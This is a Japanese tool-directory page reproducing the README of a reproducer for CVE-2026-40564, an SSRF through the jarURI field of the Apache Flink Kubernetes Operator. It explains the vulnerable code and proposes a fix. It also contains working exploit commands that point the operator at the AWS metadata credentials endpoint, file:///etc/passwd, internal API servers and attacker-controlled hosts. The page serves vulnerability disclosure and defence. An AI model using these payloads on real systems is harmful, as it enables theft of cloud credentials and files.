Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40564 — CVE-2026-40564: apache/flink-kubernetes-operator の FlinkSessionJob jarURI を介した SSRF。1つの make コマンドでローカルの kind クラスター上で実行できる自己完結型の再現ツールです。 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40564
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: apache/flink-kubernetes-operator の FlinkSessionJob jarURI を介した SSRF。1つの make コマンドでローカルの kind クラスター上で実行できる自己完結型の再現ツールです。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40564: flink-kubernetes-operator における FlinkSessionJob.spec.job.jarURI 経由の SSRF

Apache Flink Kubernetes Operator は、FlinkSessionJob(または FlinkDeployment)リソース上の spec.job.jarURI フィールドをチェックしません。これらのリソースを作成できる人は誰でも、jarURI を任意の URL に設定できます。Operator がリソースを調整(reconcile)する際、自身の Pod 内部からその URL を取得します。スキームは http、https、file、または Flink に同梱されているファイルシステムプラグインのいずれにもできるため、リクエストは Operator Pod が到達できるほぼどこへでも送信できます。

  • CVE: CVE-2026-40564
  • 影響を受けるバージョン: flink-kubernetes-operator 1.14.0、および main(2026-04-09 時点の 1.15-SNAPSHOT)
  • 報告先: [email protected] および [email protected](2026-04-09)
  • 呼び出しチェーン: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

実行方法

root@kitploit:~
make verify

これにより、次の5つのステップが順に実行されます:

  1. ローカルに kind クラスタを作成する
  2. Helm で Operator(1.14.0)をインストールする
  3. Flink セッションクラスタを起動し、その JobManager が起動するのを待つ
  4. webhook.site に新しい URL を要求し、その URL を指す jarURI を持つ FlinkSessionJob を適用する
  5. webhook.site をポーリングし、受信したリクエストを表示する

成功すると、実行の最後は次のようになります:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

初回の実行には約6〜8分かかります。その大部分は、約700 MB の flink:1.17 イメージをプルする時間です。以降の実行は約3分です。

必要なもの

docker、kind、kubectl 1.23 以降、helm 3、make、curl、jq が必要です。クラスタは webhook.site と通信できるよう、インターネットに到達できる必要があります。

別の URL を指定する場合

デフォルトでは、Makefile が新しい webhook.site URL を取得します。リクエストを別の場所に送信するには、SSRF_URL に使用したい完全な jarURI を設定します。その値がそのまま使用されます。

root@kitploit:~
# 特定の webhook.site URL を再利用する
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# 自分専用のコラボレーター(Burp、interactsh、netcat リスナーなど)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# AWS インスタンスメタデータサービス
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Flink のファイルシステム層が処理する非 http スキーム
make verify SSRF_URL=file:///etc/passwd

確認方法が結果をどう判定するかは、ターゲットによって異なります。URL が webhook.site 上にある場合、Makefile はその REST API を読み取り、取得されたリクエストを表示します。それ以外の場合は、Operator のログを読み取り、フェッチが実行されたことを示す HttpArtifactFetcher.fetch スタックフレームを探します。WEBHOOK_URL も使用でき、SSRF_URL と同じ意味です。

クリーンアップ

root@kitploit:~
make cleanup

これにより kind クラスタが削除されます。何も残りません。

なぜ発生するのか

3つのクラスが関与していますが、いずれも jarURI 内のスキーム、ホスト、IP を確認しません。

DefaultValidator.validateJobSpec は、並列度、アップグレードモード、セーブポイント設定、リソース形状をチェックします。job.getJarURI() を読み取ることはありません:

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch は、スキームからフェッチャーを選択します。許可リストはなく、http でも https でもないものはすべて Flink のファイルシステム層にフォールスルーします:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch は、指定された URL をそのまま開きます。ホストチェックも IP レンジチェックもなく、ループバックやリンクローカルアドレスへのアクセスを防ぐものもありません:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

攻撃者が得られるもの

Operator は通常、広範な RBAC 権限で実行されます。公式 Helm チャートは、シークレットを含む複数のリソースタイプに対して * を付与しており、Pod は通常、制限なくネットワークに到達できます。Operator に代わってリクエストを送信させることができれば、次のことが可能です:

  • クラウドメタデータサービス(AWS、GCE、Azure)を読み取り、Operator のノードに紐づく IAM 認証情報を取得する
  • クラスタ内部のネットワークでのみリッスンしているサービス、または Operator の送信元 IP を信頼しているサービスに到達する
  • 内部ポートを盲目的にスキャンし、FlinkSessionJob のステータス内のエラーメッセージから結果を読み取る
  • file、s3、hdfs、gs、その他の Flink ファイルシステムスキームを使用して、ローカルファイルを読み取ったり、Operator が到達できるが自分は到達できないストレージと通信したりする

複数のチームが同じ Operator を共有する共有クラスタでは、どのチームも Operator を使用して別のチームのリソースに到達できます。

利用可能なその他の URL

再現スクリプトはデフォルトで webhook.site を使用しますが、このバグは URL が何であるかを問いません。SSRF_URL を設定するか、manifests/vulnerable-sessionjob.yaml を編集して、次のいずれかに変更してください:

jarURI到達先

修正方法

DefaultValidator.validateJobSpec にチェックを追加します:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES のデフォルトを Set.of("https") にします。s3 や他のスキームが必要な Operator は、それを追加できます。

さらに2つのことを行う価値があります:

  • Operator Pod に、リンクローカル(169.254.0.0/16)、ループバック、既知のクラウドメタデータアドレスへの egress をブロックする NetworkPolicy を追加する。
  • AWS では IMDSv2 を有効にする。そうすれば、SSRF が機能しても、セッショントークンなしではメタデータサービスを読み取ることができず、Operator がトークンを送信する理由もありません。

メモ

Makefile は、Linux で kind を壊す2つの問題を回避します。各チェックは問題が実際に存在する場合にのみ実行されるため、再実行しても安全です。

  1. CoreDNS のループバックへのフォワーディング。systemd-resolved を使用している場合、kind ノードの /etc/resolv.conf は 127.0.0.1 を指すため、クラスタは外部の名前を localhost に解決します。cluster-up ステップは、CoreDNS 設定を書き換えて 1.1.1.1 と 8.8.8.8 にフォワーディングします。
  2. Operator Pod がホストの DNS 検索ドメインを継承すること。ndots が5に設定されていると、webhook.site のような名前には最初にホストの検索ドメインが追加され、一部の ISP は認識しないサブドメインに対して 127.0.0.1 を返します。install-operator ステップは、Operator Pod に独自の dnsConfig を付与して、これが発生しないようにします。

フル実行が途中で失敗した場合は、make verify-ssrf を単独で実行できます。これは稼働中の FlinkSessionJob から jarURI を読み取るため、ローカルに保存されたものには依存しません。

ツールをダウンロード
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
AWS IMDSv1、Operator Pod のノードの IAM 認証情報
http://10.0.0.1:6443/apiクラスタ内の apiserver、または Operator の IP を許可している内部エンドポイント
file:///etc/passwdファイルシステムフェッチャーブランチを介した Operator Pod 自身のファイルシステム
s3://attacker-bucket/x.jarOperator Pod の認証情報を使用した S3